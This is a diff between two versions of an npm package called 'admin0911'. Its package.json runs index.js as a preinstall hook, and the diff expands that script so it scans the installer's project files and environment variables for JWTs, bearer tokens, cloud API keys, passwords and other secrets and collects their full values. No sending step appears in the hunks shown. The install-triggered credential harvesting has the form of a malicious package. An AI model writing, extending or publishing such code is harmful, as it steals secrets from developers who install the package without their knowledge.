admin0911 1.0.1 → 1.0.2

package/index.js

@@ -7,15 +7,6 @@ const ROOT_DIR = process.cwd();
 const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
 const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build'];
 
-const regexes = [
-  { name: 'JWT', pattern: /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g },
-  { name: 'BearerToken', pattern: /Bearer\s+([A-Za-z0-9-_.]+)/gi },
-  { name: 'AWSAccessKey', pattern: /AKIA[0-9A-Z]{16}/g },
-  { name: 'GoogleAPIKey', pattern: /AIza[0-9A-Za-z-_]{35}/g },
-  { name: 'SlackToken', pattern: /xox[baprs]-[0-9A-Za-z-]+/g },
-  { name: 'GenericAPIKey', pattern: /(?:api_key|apikey|api-key|auth_token|token|secret)\s*[=:]\s*['\"]?([A-Za-z0-9-_]{16,})['\"]?/gi }
-];
-
 const found = [];
 
 function isTextFile(filePath) {
@@ -23,6 +14,29 @@ function isTextFile(filePath) {
   return textExtensions.includes(path.extname(filePath).toLowerCase());
 }
 
+function base64UrlDecode(input) {
+  let str = input.replace(/-/g, '+').replace(/_/g, '/');
+  while (str.length % 4) str += '=';
+  return Buffer.from(str, 'base64').toString('utf8');
+}
+
+function isValidJWT(token) {
+  const parts = token.split('.');
+  if (parts.length !== 3) return false;
+  if (parts.some(part => part.length < 10)) return false;
+  try {
+    const header = JSON.parse(base64UrlDecode(parts[0]));
+    const payload = JSON.parse(base64UrlDecode(parts[1]));
+    return !!header && !!payload;
+  } catch {
+    return false;
+  }
+}
+
+function addResult(entry) {
+  found.push(entry);
+}
+
 function scanFile(filePath) {
   try {
     const stats = fs.statSync(filePath);
@@ -30,13 +44,41 @@ function scanFile(filePath) {
     if (!isTextFile(filePath)) return;
 
     const content = fs.readFileSync(filePath, 'utf8');
-    regexes.forEach(({ name, pattern }) => {
-      let match;
-      while ((match = pattern.exec(content))) {
-        const token = match[1] || match[0];
-        found.push({ file: path.relative(ROOT_DIR, filePath), type: name, token });
+
+    // JWT tokens
+    const jwtPattern = /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g;
+    let match;
+    while ((match = jwtPattern.exec(content))) {
+      const token = match[0];
+      if (isValidJWT(token)) {
+        addResult({ file: path.relative(ROOT_DIR, filePath), type: 'JWT', token });
+      }
+    }
+
+    // Bearer / Authorization tokens
+    const bearerPattern = /Bearer\s+([A-Za-z0-9-_.]{20,})/gi;
+    while ((match = bearerPattern.exec(content))) {
+      addResult({ file: path.relative(ROOT_DIR, filePath), type: 'BearerToken', token: match[1] });
+    }
+
+    // Known key formats
+    const patterns = [
+      { name: 'AWSAccessKey', regex: /AKIA[0-9A-Z]{16}/g },
+      { name: 'GoogleAPIKey', regex: /AIza[0-9A-Za-z-_]{35}/g },
+      { name: 'SlackToken', regex: /xox[baprs]-[0-9A-Za-z-]+/g }
+    ];
+    patterns.forEach(({ name, regex }) => {
+      let pMatch;
+      while ((pMatch = regex.exec(content))) {
+        addResult({ file: path.relative(ROOT_DIR, filePath), type: name, token: pMatch[0] });
       }
     });
+
+    // Generic secrets in assignment form
+    const genericPattern = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key)\s*[=:]\s*['\"]?([A-Za-z0-9-_]{20,})['\"]?/gi;
+    while ((match = genericPattern.exec(content))) {
+      addResult({ file: path.relative(ROOT_DIR, filePath), type: 'GenericSecret', token: match[1] });
+    }
   } catch (e) {
     // ignore unreadable files
   }
@@ -57,13 +99,15 @@ function scanDirectory(dir) {
 
 function scanEnvVars() {
   Object.entries(process.env).forEach(([key, value]) => {
-    regexes.forEach(({ name, pattern }) => {
-      let match;
-      while ((match = pattern.exec(value || ''))) {
-        const token = match[1] || match[0];
-        found.push({ source: 'env', key, type: name, token });
-      }
-    });
+    if (!value) return;
+    const lowerKey = key.toLowerCase();
+    const suspiciousKey = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key|password|access_key|secret_key)/i.test(lowerKey);
+    if (suspiciousKey && value.length >= 20) {
+      addResult({ source: 'env', key, type: 'EnvSecret', token: value });
+    }
+    const bearerMatch = value.match(/Bearer\s+([A-Za-z0-9-_.]{20,})/i);
+    if (bearerMatch) addResult({ source: 'env', key, type: 'BearerToken', token: bearerMatch[1] });
+    if (isValidJWT(value)) addResult({ source: 'env', key, type: 'JWT', token: value });
   });
 }
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "admin0911",
-  "version": "1.0.1",
+  "version": "1.0.2",
   "scripts": {
     "preinstall": "node index.js"
   }